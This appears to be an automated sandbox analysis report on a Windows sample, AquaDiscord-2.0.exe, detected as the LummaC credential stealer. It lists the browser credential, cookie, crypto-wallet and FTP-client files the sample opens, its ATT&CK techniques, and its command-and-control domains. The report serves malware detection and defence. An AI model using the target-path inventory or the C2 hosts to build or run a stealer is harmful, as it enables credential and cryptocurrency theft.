Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior

Source: Yara match	File source: 00000002.00000003.1737933383.0000000002E4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1747045883.0000000002E4F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1737540016.0000000002E4B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AquaDiscord-2.0.exe PID: 7400, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: AquaDiscord-2.0.exe PID: 7400, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	3 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	33 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
AquaDiscord-2.0.exe	32%	ReversingLabs	Win32.Trojan.Generic
AquaDiscord-2.0.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://fancywaxxers.shop/$	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/apitxtPK	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apif	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apik	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/apiu	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/api	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/apiR	100%	Avira URL Cloud	malware
fancywaxxers.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/L	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/api7	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/api?	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api~J	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fancywaxxers.shop	104.21.16.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
fancywaxxers.shop	true	Avira URL Cloud: malware	unknown
rabidcowse.shop	false		high
wholersorie.shop	false		high
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://fancywaxxers.shop/api	true	Avira URL Cloud: malware	unknown
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/apif	AquaDiscord-2.0.exe, 00000002.00000002.2910002831.0000000002E54000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401772119.0000000002E4F000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2402042694.0000000002E52000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/apik	AquaDiscord-2.0.exe, 00000002.00000003.1747045883.0000000002E63000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1747284346.0000000002E63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/$	AquaDiscord-2.0.exe, 00000002.00000003.2402019988.0000000002E56000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1751206629.0000000002E63000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1750932268.0000000002E63000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1747045883.0000000002E63000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1747284346.0000000002E63000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401772119.0000000002E4F000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2402077657.0000000002E5E000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000002.2910034398.0000000002E5F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	AquaDiscord-2.0.exe, 00000002.00000003.1723179894.00000000053FF000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	AquaDiscord-2.0.exe, 00000002.00000003.1709004731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1694093363.0000000005450000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1709186168.0000000005449000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1694160465.0000000005449000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/apiu	AquaDiscord-2.0.exe, 00000002.00000002.2909842558.0000000002DD6000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1791621621.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401885385.0000000002DD4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	false		high
